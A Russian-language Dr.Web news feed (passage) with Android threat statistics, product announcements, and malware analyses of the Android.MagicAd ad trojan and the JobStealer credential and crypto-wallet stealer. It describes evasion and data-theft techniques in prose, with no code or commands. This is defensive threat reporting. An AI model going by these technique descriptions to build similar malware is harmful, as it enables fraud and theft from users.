Для участия в «акции» пользователи должны были нажать соответствующую кнопку на таких сайтах, после чего на них имитировался процесс розыгрыша призов. После нескольких попыток потенциальной жертве сообщалось, что она выиграла несколько подарков, и у нее якобы есть возможность выбора: получить сами призы — в пункте выдачи маркетплейса, или же их денежный эквивалент — переводом на банковский счет:

При выборе опции получения призов в пункте выдачи сайты сообщали, что необходимые товары закончились на складе, но пользователь якобы все еще может обменять их на деньги. После этого на странице имитировался чат с оператором для «подтверждения» намерения конвертировать призы. Для этого потенциальная жертва должна была указать номер банковской карты:

После его ввода сайты запрашивали оплату государственной пошлины — для «официального оформления выигрыша»:

Никаких призов жертвы мошенников на самом деле не получали. Они не только передавали им данные своих банковских карт, но и отдавали собственные деньги.

Узнайте больше о нерекомендуемых антивирусом Dr.Web сайтах

Вредоносное и нежелательное ПО для мобильных устройств

По данным статистики детектирований Dr.Web Security Space для мобильных устройств, во II квартале 2026 года пользователи стали реже сталкиваться с банковскими троянами Android.Banker, однако эти троянские приложения остались самым распространенным вредоносным ПО. Также наблюдалось очередное снижение активности рекламных троянов Android.HiddenAds и Android.MobiDash.

Наиболее часто детектируемыми потенциально опасными программами во II квартале стали приложения Tool.Obfuscator.TrashCode и Tool.NPMod, модифицированные при помощи утилиты для моддинга NP Manager. Вирусописатели используют этот инструмент для защиты вредоносного ПО от обнаружения антивирусами. Самыми распространенными нежелательными программами оказались поддельные антивирусы Program.FakeAntiVirus. Для «лечения» якобы найденных угроз они требуют приобрести полную версию.

Наиболее активным рекламным ПО стали модули Adware.AdPush, которые демонстрируют вводящие в заблуждение уведомления и собирают конфиденциальные данные. Распространение вновь получили приложения-оптимизаторы работы ОС Android Adware.Bastion.1.origin. Они создают уведомления с сообщениями о якобы нехватке оперативной памяти и ошибках системы, чтобы показывать рекламу во время «оптимизации». Высокую активность сохранили и рекламные программы Adware.Opensite.15. Злоумышленники распространяют их под видом чит-программ, с помощью которых пользователи якобы могут получить различные внутриигровые ресурсы. В действительности эти программы лишь загружают сайты с рекламой.

В июне специалисты компании «Доктор Веб» предупредили о трояне Android.MagicAd.1, способном обходить ограничения ОС Android и демонстрировать рекламу в фоновом режиме. Android.MagicAd.1 использует для этого сторонние приложения, а также ряд методик, которые он выбирает в зависимости от производителя целевого устройства.

В течение II квартала наши вирусные аналитики выявили в каталоге Google Play очередные троянские программы семейств Android.Joker и Android.Subscription, подписывающие пользователей на платные сервисы. Суммарно они были загружены не менее 2 600 000 раз.

Наиболее заметные события, связанные с «мобильной» безопасностью во II квартале

Банковские трояны Android.Banker сохранили лидерство по числу детектирований вредоносного ПО на защищаемых Dr.Web устройствах.
Злоумышленники продолжили активно применять специализированные инструменты для моддинга Android-программ с целью защиты банковских троянов от обнаружения антивирусами.
Активность рекламных троянов Android.MobiDash и Android.HiddenAds вновь снизилась.
Вирусные аналитики «Доктор Веб» выявили трояна Android.MagicAd.1, который эксплуатирует сторонние программы для обхода ограничений ОС Android и демонстрации рекламы в фоновом режиме.
В каталоге Google Play были обнаружены новые троянские приложения, подписывающие пользователей на платные услуги.

Более подробно о вирусной обстановке для мобильных устройств во II квартале 2026 года читайте в нашем обзоре.

«Доктор Веб»: обзор вирусной активности для мобильных устройств во II квартале 2026 года

Wed, 01 Jul 2026 06:00:00 GMT

Скачать PDF

1 июля 2026 года

Согласно данным статистики детектирований Dr.Web Security Space для мобильных устройств, во II квартале 2026 года наблюдалось снижение активности банковских троянов Android.Banker — на 31,83% по сравнению с I кварталом. Вместе с тем, они остались самым распространенным вредоносным ПО для Android: на это семейство пришлось 23,28% детектирований соответствующего типа угроз. Эти вредоносные программы похищают различные конфиденциальные данные, такие как СМС с одноразовыми кодами от кредитных организаций, логины и пароли от учетных записей интернет-банка, а также могут демонстрировать фишинговые окна. Как и кварталом ранее, пользователи чаще всего сталкивались с подсемейством Android.Banker.Mamont, включающим различные вредоносные приложения.

В течение минувших трех месяцев продолжалось снижение активности рекламных троянов семейств Android.MobiDash и Android.HiddenAds. При этом они все еще являются одними из наиболее часто встречающихся вредоносных Android-приложений, и отдельные их модификации по-прежнему находятся среди лидеров по количеству детектирований вредоносного ПО.

Самым распространенным потенциально опасным ПО с долей свыше 66% вновь стали программы, в которые для запутывания логики добавлен мусорный код (они детектируются как Tool.Obfuscator.TrashCode). Такая модификация выполняется при помощи хакерских инструментов для моддинга NP Manager. В том числе их применяют и злоумышленники — для защиты вредоносных программ, таких как банковские трояны Android.Banker.Mamont, от обнаружения антивирусами.

На втором месте остались приложения, которые также модифицируются при помощи утилиты NP Manager, но с использованием других ее функциональных возможностей. Например, в этом инструменте предусмотрены различные модули для защиты и обфускации кода программ, а также для обхода проверки их цифровой подписи после того, как приложения были модифицированы. Вирусописатели используют данную функциональность для защиты вредоносного ПО от антивирусов. Антивирусные продукты Dr.Web детектируют измененные таким образом программы как Tool.NPMod.

Среди наиболее распространенных потенциально опасных приложений вновь оказались и программы, модифицированные при помощи утилиты Tool.LuckyPatcher. Для их модификации утилита загружает из интернета специально подготовленные скрипты.

Самыми активными нежелательными программами во II квартале стали приложения Program.FakeAntiVirus, имитирующие работу антивирусов. Они якобы выявляют те или иные угрозы и затем предлагают приобрести полную версию для «борьбы» с ними. На долю таких подделок пришлось более 44% нежелательного ПО, выявленного на Android-устройствах.

Наиболее распространенным рекламным ПО стали модули Adware.AdPush, которые могут быть встроены в Android-приложения. Они демонстрируют рекламные уведомления, вводящие пользователей в заблуждение. Эти модули также собирают различные конфиденциальные данные. Кроме того, пользователи продолжали сталкиваться с программами-оптимизаторами Adware.Bastion.1.origin. Они периодически создают уведомления с вводящими в заблуждение сообщениями о якобы возникающих ошибках системы и нехватке оперативной памяти. Эти приложения демонстрируют рекламу во время «оптимизации». Высокую активность вновь проявили и рекламные программы Adware.Opensite.15. Злоумышленники выдают их за приложения с читами, которые якобы позволяют получать ресурсы в играх, но на самом деле программы только загружают сайты с объявлениями.

В начале июня специалисты компании «Доктор Веб» сообщили об Android.MagicAd.1 — трояне, способном обходить ограничения ОС Android и показывать рекламу в фоновом режиме. Для этого Android.MagicAd.1 эксплуатирует сторонние приложения, а также использует определенные методики, которые выбирает на основе производителя зараженного устройства. Подробнее об этом трояне рассказано в соответствующем материале на нашем сайте.

В течение II квартала вирусные аналитики «Доктор Веб» обнаружили в каталоге Google Play очередные вредоносные программы, подписывающие жертв на платные услуги. Среди них были представители семейств Android.Subscription и Android.Joker.

Главные тенденции II квартала

Банковские трояны Android.Banker остались самыми распространенными вредоносными программами для ОС Android.
Вирусописатели продолжили активно использовать инструменты для моддинга Android-программ, чтобы защитить банковские трояны от детектирования антивирусами.
Активность рекламных троянов Android.MobiDash и Android.HiddenAds вновь снизилась.
Обнаружен троян Android.MagicAd.1, использующий сторонние приложения для обхода ограничений ОС Android и показа рекламы в фоне.
Появились новые вредоносные программы в каталоге Google Play.

По данным Dr.Web Security Space для мобильных устройств

Android.Click.1812: Детектирование вредоносных модов мессенджера WhatsApp, которые незаметно для пользователя могут загружать различные сайты в фоновом режиме.
Android.HiddenAds.675.origin
Android.HiddenAds.4236: Троянская программа для показа навязчивой рекламы. Представители семейства Android.HiddenAds часто распространяются под видом безобидных приложений и, в некоторых случаях, устанавливаются в системный каталог другим вредоносным ПО. Попадая на Android-устройства, такие рекламные трояны обычно скрывают от пользователя свое присутствие в системе — например, «прячут» значок приложения из меню главного экрана.
Android.Banker.Mamont.80.origin: Банковский троян, который перехватывает СМС с одноразовыми кодами от кредитных организаций, содержимое уведомлений, а также собирает другую конфиденциальную информацию. Она включает технические данные о зараженном устройстве, список установленных приложений, информацию о СИМ-карте, телефонных звонках, поступивших и отправленных СМС.
Android.FakeApp.1600: Троянская программа, которая загружает указанный в ее настройках веб-сайт. Известные модификации этого вредоносного приложения загружают сайт онлайн-казино.

Program.FakeAntiVirus.1
Program.FakeAntiVirus.4
Program.FakeAntiVirus.4.origin
Program.FakeAntiVirus.5: Детектирование рекламных программ, которые имитируют работу антивирусного ПО. Такие программы могут сообщать о несуществующих угрозах и вводить пользователей в заблуждение, требуя оплатить покупку полной версии.
Program.FakeMoney.11: Детектирование приложений, якобы позволяющих зарабатывать на выполнении тех или иных действий или заданий. Эти программы имитируют начисление вознаграждений, причем для вывода «заработанных» денег требуется накопить определенную сумму. Обычно в них имеется список популярных платежных систем и банков, через которые якобы возможно вывести награды. Но даже когда пользователям удается накопить достаточную для вывода сумму, обещанные выплаты не поступают. Этой записью также детектируется другое нежелательное ПО, основанное на коде таких программ.

Tool.Obfuscator.TrashCode.1
Tool.Obfuscator.TrashCode.2: Детектирование Android-программ, в которые при помощи хакерских инструментов для моддинга приложений добавлен мусорный код. Такая модификация выполняется с целью запутывания логики программ. Эта техника часто встречается в банковских троянах и в пиратских версиях ПО.
Tool.NPMod.3
Tool.NPMod.1: Детектирование Android-приложений, модифицированных при помощи утилиты NP Manager. Эта утилита содержит модули для обфускации и защиты кода программ, а также обхода проверки их цифровой подписи после модификации. Добавляемая ей обфускация часто используется во вредоносном ПО для затруднения его детектирования и анализа.
Tool.LuckyPatcher.2.origin: Утилита, позволяющая модифицировать установленные Android-приложения (создавать для них патчи) с целью изменения логики их работы или обхода тех или иных ограничений. Например, с ее помощью пользователи могут попытаться отключить проверку root-доступа в банковских программах или получить неограниченные ресурсы в играх. Для создания патчей утилита загружает из интернета специально подготовленные скрипты, которые могут создавать и добавлять в общую базу все желающие. Функциональность таких скриптов может оказаться в том числе и вредоносной, поэтому создаваемые патчи могут представлять потенциальную опасность.

Adware.Bastion.1.origin: Детектирование программ-оптимизаторов, которые периодически создают уведомления с вводящими в заблуждение сообщениями якобы о нехватке памяти и ошибках системы с целью показывать рекламу во время «оптимизации».
Adware.Opensite.15: Приложения, выдаваемые за чит-инструменты для получения ресурсов в играх. На самом деле они созданы для демонстрации рекламы. Эти программы получают с удаленного сервера конфигурацию, в соответствии с которой загружают целевой сайт с объявлениями — баннерами, всплывающими окнами, видеороликами и т. д.
Adware.AdPush.3.origin: Рекламный модуль, который может быть интегрирован в Android-программы. Он демонстрирует рекламные уведомления, вводящие пользователей в заблуждение. Например, такие уведомления могут напоминать сообщения от операционной системы. Кроме того, этот модуль собирает ряд конфиденциальных данных, а также способен загружать другие приложения и инициировать их установку.
Adware.Fictus.1.origin: Рекламный модуль, который злоумышленники встраивают в версии-клоны популярных Android-игр и программ. Его интеграция в программы происходит при помощи специализированного упаковщика net2share. Созданные таким образом копии ПО распространяются через различные каталоги приложений, и после установки демонстрируют нежелательную рекламу.
Adware.Airpush.7.origin: Программные модули, встраиваемые в Android-приложения и демонстрирующие разнообразную рекламу. В зависимости от версии и модификации это могут быть рекламные уведомления, всплывающие окна или баннеры. С помощью данных модулей злоумышленники часто распространяют вредоносные программы, предлагая установить то или иное ПО. Кроме того, такие модули передают на удаленный сервер различную конфиденциальную информацию.

Угрозы в Google Play

В течение II квартала 2026 года вирусные аналитики компании «Доктор Веб» обнаружили в каталоге Google Play несколько новых троянских программ Android.Subscription, подписывающих пользователей на платные услуги. Они распространялись под видом разнообразного ПО: онлайн-кинотеатра ShowLounge - TV & Dramas (Android.Subscription.25), программы для геймеров AIM: Crosshair Asist (Android.Subscription.26), игры True Cargo Drive (Android.Subscription.27), утилиты Battery 3D: Charge Effects (Android.Subscription.28) и редактора изображений PixStudio - Photo Editor (Android.Subscription.29). В общей сложности они были загружены по меньшей мере 2 600 000 раз.

Примеры троянских программ Android.Subscription, выявленных в Google Play во II квартале 2026 года

Вредоносные приложения этого типа загружают веб-сайты, где при помощи технологии Wap Click пользователям подключаются платные мобильные подписки. У потенциальных жертв запрашивается номер мобильного телефона, и после его ввода выполняется попытка активации соответствующих услуг.

В Google Play вновь распространялись троянские программы Android.Joker, которые тоже подписывают жертв на платные услуги. Злоумышленники выдавали их за мессенджеры Chat Messages (Android.Joker.2625) и Easy Messages (Android.Joker.2632), а также утилиты для оптимизации работы системы Smart File Cleaner, Junk Clean Master и Fast Cleaner (Android.Joker.2614, Android.Joker.2618 и Android.Joker.2626 соответственно).

Одно из вредоносных приложений, в которых скрывались трояны семейства Android.Joker

Индикаторы компрометации

Дождались! Dr.Web CureIt! Pro выпущена и доступна бесплатно для всех

Tue, 23 Jun 2026 12:13:04 GMT

Встречайте Dr.Web CureIt! Pro — расширенную версию легендарной лечащей утилиты. Прямо сейчас вы можете получить к ней промодоступ совершенно бесплатно.

Как получить Dr.Web CureIt! Pro бесплатно

Для новых пользователей. Зайдите на сайт free.drweb.ru. Заполните стандартную форму на получение обычного Dr.Web CureIt!, и получите ссылку на скачивание Dr.Web CureIt! Pro с лицензией на 1 день.
Для действующих пользователей платной версии Dr.Web CureIt!. Зайдите в свой Личный кабинет, в нем доступен для скачивания дистрибутив Dr.Web CureIt! Pro. Загружайте и пользуйтесь без ограничений в течение всего периода действия вашей лицензии.

Напоминаем, что Pro-версия дает вам гибкие настройки проверки, управление исключениями, ручное назначение действий для угроз и расширенную статистику.

Обратите внимание! Бесплатный промодоступ на 1 день через сайт free.drweb.ru — это специальное предложение, которое позволяет оценить все преимущества Pro-версии. Предложение действует до 30 июня 2026 года включительно.

С 1 июля 2026 года будут доступны:

Классическая бесплатная версия Dr.Web CureIt! для скачивания и экстренного лечения;
Расширенная версия утилиты Dr.Web CureIt! Pro. Стоимость: 1 день — 10 рублей, 5 дней — 50 рублей, 10 дней — 100 рублей.

Остались вопросы или заметили нештатное поведение программы? Ваше мнение очень важно для нас. Пишите замечания и пожелания в специальный топик на нашем официальном форуме.

Скачайте Dr.Web CureIt! Pro уже сегодня и полностью контролируйте процесс лечения при помощи расширенных настроек!

Dr.Web CureIt! станет еще удобнее. Анонс расширенной Pro-версии

Wed, 10 Jun 2026 10:31:19 GMT

Мы проанализировали обратную связь от наших пользователей и пришли к важному выводу. В критический момент, когда компьютер заражен, не требуются сложные настройки — необходимо быстрое, легкое и надежное решение, которое запустится и вылечит систему одной кнопкой.

Поэтому мы пересмотрели принципы работы с утилитой. Классический бесплатный Dr.Web CureIt! остается с вами, но становится еще более сфокусированным на главном: просто скачайте, нажмите «Проверить» — и все. Это молниеносный надежный сканер для экстренного лечения, способный обезвредить активные угрозы и вылечить систему.

А для тех, кому нужен контроль над процессом?

Мы не стали убирать расширенные возможности. Наоборот, мы собрали их в отдельный продукт — Dr.Web CureIt! Pro — и сделали его удобнее и доступнее. Если вам нужно проверить съемный носитель, исключить папки из сканирования или настроить применение автоматических действий к обнаруженным угрозам — вы получаете гибкий, полнофункциональный сканер за минимальные деньги.

Как это будет работать

Бесплатно и просто — вы скачиваете обычный Dr.Web CureIt! и моментально запускаете экспресс-проверку. Это идеальное решение для ситуаций, когда время дорого.
Если нужно больше — на нашем сайте или прямо из бесплатной версии вы можете приобрести Dr.Web CureIt! Pro и получить доступ ко всем расширенным настройкам.

Таким образом, мы предлагаем осознанный выбор: легкость — бесплатно, максимальная гибкость — за символические 10 рублей в день или 50 рублей за 5 дней и 100 рублей за 10 дней.

Релиз Dr.Web CureIt! Pro состоится уже в начале июля. За неделю до этого мы предоставим всем пользователям бесплатный доступ ко всем возможностям Pro, чтобы вы могли оценить их прежде, чем принимать решение.

Dr.Web Mobile Security Suite (Аврора) сертифицирован ФСТЭК до 2030 года

Tue, 09 Jun 2026 12:51:47 GMT

Компания «Доктор Веб» сообщает о выпуске обновлений для ранее сертифицированного программного изделия Dr.Web Mobile Security Suite (Аврора). Сертификат соответствия ФСТЭК России № 4909 действует до февраля 2030 года.

В рамках пройденного инспекционного контроля ранее сертифицированные дистрибутивы были обновлены до последних актуальных версий.

Напоминаем пользователям сертифицированных версий, что ПО необходимо обновить до актуальной сертифицированной версии. Новые дистрибутивы доступны в Мастере скачиваний. Вы можете самостоятельно скачать сертифицированную версию только при наличии серийного номера, сгенерированного для Dr.Web Mobile Security Suite (Аврора) как для сертифицированного продукта, либо обратиться в Службу технической поддержки с запросом на обновление.

Сертифицированная версия Dr.Web Mobile Security Suite для ОС Аврора защищает мобильные устройства и планшеты, работающие на российской мобильной ОС Аврора, от всех типов вредоносных программ, обеспечивая комплексную защиту устройств, с использованием всех доступных возможностей операционной системы.
ОС Аврора используется в крупных государственных компаниях и организациях и является доверенной – это означает, что организация, сотрудники которой работают со смартфонами и планшетами под управлением ОС Аврора, обладает полным контролем над этими устройствами и хранящимися на них данными.

Напоминаем, что поставки лицензий на сертифицированные продукты Dr.Web сопровождаются полным комплектом сертификационных материалов.

По вопросам приобретения продуктов Dr.Web обращайтесь к партнерам или к специалистам Службы поддержки продаж «Доктор Веб».

Троян Android.MagicAd показывает рекламу вопреки всем ограничениям

Thu, 04 Jun 2026 16:00:00 GMT

Специалисты антивирусной лаборатории компании «Доктор Веб» обнаружили троянскую программу Android.MagicAd, которая различными способами обходит ограничения ОС Android и показывает рекламу при работе в фоне. Один из этих методов является универсальным, другие рассчитаны на устройства определенных производителей. Среди них — эксплуатация сторонних приложений, а также использование системного медиаплеера.

Android.MagicAd.1 распространялся через официальный каталог приложений для устройств Xiaomi GetApps и скрывался в более чем 50 различных играх и программах. Они появлялись в магазине на короткий срок — чаще всего до месяца, после чего пропадали, и вместо них появлялись новые. Возможно, таким образом злоумышленники пытались защитить Android.MagicAd.1 от преждевременного обнаружения, сохранив при этом его активность: после удаления из магазина троянские программы продолжают оставаться на устройствах пользователей и могут и дальше выполнять вредоносную деятельность. В настоящее время ни одно из выявленных нами приложений с Android.MagicAd.1 не доступно для загрузки в каталоге GetApps, а у распространявших их разработчиков перестали появляться новые программы с трояном.

Проведенное вирусными аналитиками «Доктор Веб» исследование показало, что первые версии Android.MagicAd.1 появились в 2025 году и помимо каталога GetApps также встречались в Samsung Galaxy Store.

Примеры игр и программ из каталога GetApps, в которых скрывался Android.MagicAd.1. На момент публикации нашей новости эти и другие модификации трояна стали недоступны для скачивания

Часть вредоносной функциональности Android.MagicAd.1 находится в dex-модулях, которые скрыты в зашифрованных нативных библиотеках в каталоге с файловыми ресурсами трояна. В процессе работы он расшифровывает эти библиотеки, извлекает из них свои компоненты и запускает.

Прежде чем приступить к демонстрации рекламы, троян выполняет ряд проверок, чтобы убедиться, что его окружение является безопасным. Например, он ищет признаки работы в виртуальной среде, проверяет, была ли его установка органической, нет ли IP-адреса зараженного устройства в его черном списке и т. д.

Если Android.MagicAd.1 не обнаруживает подозрительную активность, он скрывает свой значок из списка программ в меню главного экрана. Затем он создает канал уведомлений, через который запускает несколько вредоносных сервисов постоянного присутствия, необходимых для работы в фоновом режиме при закрытом окне вредоносного приложения. Далее через планировщик задач Android.MagicAd.1 создает задание, которое периодически перезапускает сервисы, проверяющие работу канала уведомлений и при необходимости запускающие его вновь. Кроме того, при работе на устройствах с относительно старыми версиями ОС Android троян запускает виртуальный экран, чтобы работа одного из его компонентов не прерывалась системой.

Чтобы показывать рекламу в фоновом режиме, когда его окно закрыто, Android.MagicAd.1 применяет ряд методик, выбираемых на основе производителя зараженного устройства. При этом они реализуются без явного запроса системного разрешения SYSTEM_ALERT_WINDOW, которое позволяет приложению отображаться поверх других программ.

Независимо от применяемого способа, все рекламные баннеры загружаются в виде полупрозрачной активности (Translucent Activity), что дает возможность трояну отрисовывать их поверх существующих окон.

Примеры рекламы, которую демонстрирует Android.MagicAd.1

Одна из методик реализуется через намерения (Intent), адресованные другим приложениям. Она позволяет трояну обойти ограничения современных версий ОС Android, не позволяющие программам запускать самих себя. В зависимости от модели зараженного устройства, с помощью этой техники Android.MagicAd.1 либо сам демонстрирует объявления, либо непосредственно «заставляет» целевые программы показывать баннеры с рекламой.

В одном из вариантов данного способа целью трояна являются:

браузер Mi Browser на устройствах Xiaomi;
графическая оболочка Miui SystemUI на устройствах Xiaomi;
лончер Amazon Fire TV Home Screen на устройствах Amazon TV.

Все это — системные приложения на соответствующих устройствах, поэтому они способны обрабатывать намерения, даже когда не запущены пользователем напрямую. Пока эти программы активны и могут принимать намерения, Android.MagicAd.1 может использовать их для показа объявлений.

Стоит отметить, что если Mi Browser установлен на устройстве Xiaomi не как системное приложение, троян также может использовать эту программу для демонстрации рекламы — до тех пор, пока окно браузера не будет закрыто.

Когда Android.MagicAd.1 обнаруживает Mi Browser на подходящем устройстве, он отправляет отложенное намерение для запуска рекламы своему dex-компоненту (детектируется Dr.Web как Android.MagicAd.1.origin). Тот формирует из него собственное намерение и передает браузеру, который извлекает исходное намерение и в соответствии с ним запускает рекламу.

Взаимодействие с двумя другими программами несколько отличается — они используются для вызова трояна из фонового режима. Вначале Android.MagicAd.1 отправляет модулю Android.MagicAd.1.origin отложенное намерение для запуска рекламы, и тот передает целевым программам собственное намерение для своего пробуждения. Если это приложение Miui SystemUI, оно в ответ отправляет свое намерение для запуска модуля. Если же целевой программой является Amazon Fire TV Home Screen, она запускает модуль напрямую — по имени его пакета. Получив управление, модуль Android.MagicAd.origin запускает рекламу, которая поступила ему в отложенном намерении от основного вредоносного приложения.

Если трояну не удается показать рекламу, он пытается использовать этот способ еще дважды, и в случае неудачи пытается показать рекламу напрямую, уже не задействуя отложенные намерения и свой вредоносный dex-модуль.

Другая вариация этого способа похожа на предыдущую и применяется для эксплуатации программ на устройствах Vivo. Она отличается тем, что запуск рекламы происходит при помощи Android Binder — системного компонента, обеспечивающего взаимодействие между процессами. В данном случае троян нацелен на следующие системные программы:

iManager,
Телефонная книга,
Vivo Browser,
Baidu IME Customized.

Android.MagicAd.1 запускает их через Android Binder, отправляя ему обычные намерения через контейнер данных Parcel. Эти программы затем запускают троянский компонент Android.MagicAd.origin, который после выхода из фонового режима показывает рекламу.

В Android.MagicAd.1 также предусмотрено несколько других методик для демонстрации рекламы при работе в фоне, среди них — использование медиаплеера. В отличие от способов, нацеленных на определенные устройства, этот метод является универсальным и работает на большинстве моделей от различных производителей. Android.MagicAd.1 расшифровывает из своего тела аудиофайл и сохраняет его в рабочую директорию. Затем вредоносная программа запускает свой экземпляр системного медиаплеера, задает в нем минимальную громкость и связывает его с глобальной системой управления мультимедиа ОС Android. Далее для запуска рекламы Android.MagicAd.1 устанавливает широковещательный приемник, отслеживающий нажатия в этом плеере. Затем троян при помощи специальной adb-команды имитирует действия пользователя, нажимая в плеере кнопку записи, после чего сразу же закрывает его окно. Нажатие кнопки приводит к срабатыванию системного медиаприемника, который позволяет Android.MagicAd.1 перехватить управление и запустить рекламу.

Dr.Web Security Space для мобильных устройств надежно детектирует и удаляет все известные версии вредоносной программы Android.MagicAd.1, поэтому для наших пользователей она опасности не представляет.

Индикаторы компрометации

Подробнее об Android.MagicAd.1

Подробнее об Android.MagicAd.1.origin

Получены сертификаты соответствия ФСБ России на продукты Dr.Web Mobile Security Suite и Dr.Web Katana

Wed, 27 May 2026 14:06:42 GMT

Компания «Доктор Веб» сообщает, что получены новые сертификаты соответствия ФСБ России на программные продукты Dr.Web Mobile Security Suite и Dr.Web Katana.

Рекомендуем пользователям сертифицированных версий обновить ПО после истечения срока действия сертификата.

Подробнее о продуктах

Dr.Web Mobile Security Suite для ОС Android:

версия 12.9,
сертификат соответствия № СФ/СЗИ-0888,
срок действия: 15.05.2026 — 01.05.2031,
средство антивирусной защиты Класса В2 в соответствии с документом «Требования к программным антивирусным средствам, используемым в средствах вычислительной техники, эксплуатируемых в органах федеральной службы безопасности», может использоваться для защиты информации, в том числе содержащей сведения, составляющие государственную тайну,
предназначено для защиты мобильных устройств, работающих под управлением операционной системы ОС Android, а также телевизоров, медиапроигрывателей и игровых консолей, работающих на платформе Android TV, от вирусных угроз, созданных специально для этих устройств.

Dr.Web Katana:

версия 2.0,
сертификат соответствия ФСБ России № СФ/СЗИ-0887,
срок действия: 15.05.2026 — 01.05.2031,
средство антивирусной защиты Класса Д в соответствии с документом «Требования к программным антивирусным средствам, используемым в средствах вычислительной техники, эксплуатируемых в органах федеральной службы безопасности», может использоваться для защиты информации, в том числе содержащей сведения, составляющие государственную тайну,
защищает систему от компьютерных угроз с помощью несигнатурных методов: анализирует поведение процессов, использует облачные технологии обнаружения угроз и предустановленные правила.

По вопросам обновления ПО или приобретения продуктов Dr.Web обращайтесь к партнерам или к специалистам Службы поддержки продаж «Доктор Веб».

Изменение сроков поддержки продуктов Dr.Web

Tue, 26 May 2026 14:03:15 GMT

В соответствии с политикой жизненного цикла продлены сроки поддержки ряда продуктов Dr.Web.

Центр управления Dr.Web Enterprise Security Suite, версия 13.0
Dr.Web Industrial, версия 13.0

В составе Dr.Web Desktop Security Suite:

Dr.Web 12.0 для рабочих станций Windows
Dr.Web 12.0 для рабочих станций macOS
Dr.Web 11.1 для рабочих станций Linux
Dr.Web Katana Business Edition 1.0

В составе Dr.Web Server Security Suite:

Dr.Web 12.0 для серверов Windows
Dr.Web 11.1 для серверов UNIX
Dr.Web 12.0 для серверов macOS

В составе Dr.Web Mail Security Suite:

Dr.Web 11.1 для почтовых серверов UNIX
Dr.Web 12.0 для Microsoft Exchange Server

В составе Dr.Web Gateway Security Suite:

Dr.Web 11.1 для интернет-шлюзов UNIX

В составе Dr.Web Mobile Security Suite:

Dr.Web 12.0 для мобильных устройств Android
Dr.Web 3.0 для мобильных устройств Аврора

Обновлённая информация о сроках поддержки доступна на странице жизненного цикла продуктов.

Вместо работы — украденные данные и деньги. В поддельных приложениях для онлайн-собеседований скрывается троян-стилер, который атакует пользователей macOS и Windows

Thu, 07 May 2026 20:00:00 GMT

Эксперты «Доктор Веб» предупреждают о распространении троянской программы JobStealer, похищающей конфиденциальную информацию у пользователей компьютеров под управлением macOS и Windows. В первую очередь она нацелена на кражу данных из криптокошельков. Мошенники под предлогом проведения онлайн-собеседований заманивают потенциальных жертв на вредоносные сайты, где предлагают установить приложение для видеоконференций. В действительности это ПО — и есть троян JobStealer.

Атака начинается с того, что злоумышленники связываются с потенциальными жертвами и предлагают им ту или иную вакансию. Они приглашают пользователей пройти собеседование и предоставляют им ссылки на сайты «платформ» для проведения онлайн-встреч — якобы для подключения к видеоконференции. Эти сайты имеют презентабельный вид, но на самом деле являются мошенническими. С них под видом программы для онлайн-конференций скачивается вредоносная программа JobStealer. При этом киберпреступники используют различное оформление таких интернет-ресурсов, а также меняют имена самой программы. Наши специалисты встречали варианты с названиями MeetLab, Juseo, Meetix, Carolla и другие. В ряде случаев киберпреступники используют названия настоящих сервисов, таких как Webex.

Примеры сайтов поддельных сервисов онлайн-конференций, с которых скачивается JobStealer

Чтобы пользователи поверили, что платформы являются полноценно функционирующими, мошенники создают соответствующие телеграм-каналы и аккаунты в социальных сетях — например, X.

Для маскировки трояна под легитимное ПО злоумышленники создают видимость активности в социальных сетях

Для установки программы на устройства с macOS посетителям вредоносных сайтов предлагается две опции:

скопировать и выполнить в терминале bash-команду, указанную на сайте;
скачать файл образа диска в формате .dmg и запустить его.

Троян JobStealer скачивается с вредоносных сайтов как в виде dmg-контейнера, так и через выполнение bash-команды в терминале

В первом случае при выполнении команды в терминале из интернета автоматически загружается и исполняется скрипт, который скачивает и запускает исполняемый файл JobStealer (детектируется как Mac.PWS.JobStealer.1).

Во втором случае предлагаемый к загрузке dmg-образ изначально содержит указанные выше файлы. При монтировании он демонстрирует инструкцию по «установке» приложения. В ней указано, что пользователю необходимо открыть терминал и перетащить в его окно прилагаемый скрипт. На самом деле вместо установки ПО для видеоконференций скрипт запустит троянский файл.

Изображение с инструкцией, которое демонстрируется при открытии файла образа с трояном JobStealer

Mac.PWS.JobStealer.1 представляет собой исполняемый файл-контейнер в формате Fat Mach-O и содержит двоичный код сразу для нескольких процессорных архитектур — x64 и arm64. В зависимости от платформы зараженного компьютера при запуске трояна автоматически задействуется компонент, соответствующий целевому процессору.

Отметим, что существуют различные версии Mac.PWS.JobStealer.1. Более ранние варианты вредоносного приложения не поддерживали работу на компьютерах Mac с архитектурой arm64. В них также отсутствовала обфускация — ее вирусописатели начали добавлять и усиливать по мере обновления стилера.

После запуска Mac.PWS.JobStealer.1 демонстрирует фишинговое окно, где сообщает о якобы возникшей ошибке в работе. Для ее «исправления» вредоносная программа просит пользователя указать пароль от его учетной записи.

Фишинговое окно, в котором запрашивается пароль от учетной записи пользователя Mac

Далее Mac.PWS.JobStealer.1 собирает следующие данные:

версию операционной системы и идентификатор компьютера;
данные порядка 300 браузерных расширений-криптокошельков, установленных в целевых браузерах на базе Chomium (Chrome, Opera, Brave, OperaGX, Vivaldi, Edge, Arc, CocCoc);
файлы cookie из этих браузеров;
пароли, а также данные банковских карт, сохраненные в браузерных списках автозаполнения форм;
файлы мессенджера Телеграм из директорий /Library/Application Support/Telegram Desktop/tdata и /Documents/temp_data/Apps/Telegram, где хранятся сессионные ключи авторизации, загружаемые файлы и т. п.;
пользовательские заметки из нативного для macOS приложения Notes;
наличие в системе приложений криптокошельков Ledger Live и Trezor Suite.

Эти данные помещаются в ZIP-архив и загружаются на C2-сервер.

Вирусописатели также подготовили версию трояна JobStealer и для компьютеров под управлением ОС Windows. Его функциональность аналогична версии для macOS. Кроме того, на некоторых вредоносных сайтах, распространяющих стилера, предусмотрены разделы для загрузки приложения на другие популярные операционные системы. Однако на данный момент наши вирусные аналитики не зафиксировали их распространение. Например, кнопка загрузки программы для ОС Linux либо неактивна, либо ведет на Windows-версию трояна. А в разделах для скачивания программы для устройств на базе iOS и Android говорится, что эти версии находятся в разработке. При этом нельзя исключать, что злоумышленники в дальнейшем начнут распространять варианты трояна и для данных платформ.

Вредоносные сайты потенциально могут распространять версии трояна JobStealer для Linux, iOS и Android

Все известные модификации вредоносного приложения JobStealer надежно детектируются и удаляются антивирусными продуктами Dr.Web Security Space для macOS и Windows и не представляют угрозы для наших пользователей. Распространяющие трояна мошеннические сайты добавлены в базу нерекомендуемых и опасных ресурсов и также блокируются Dr.Web.

MITRE ATT&CK®

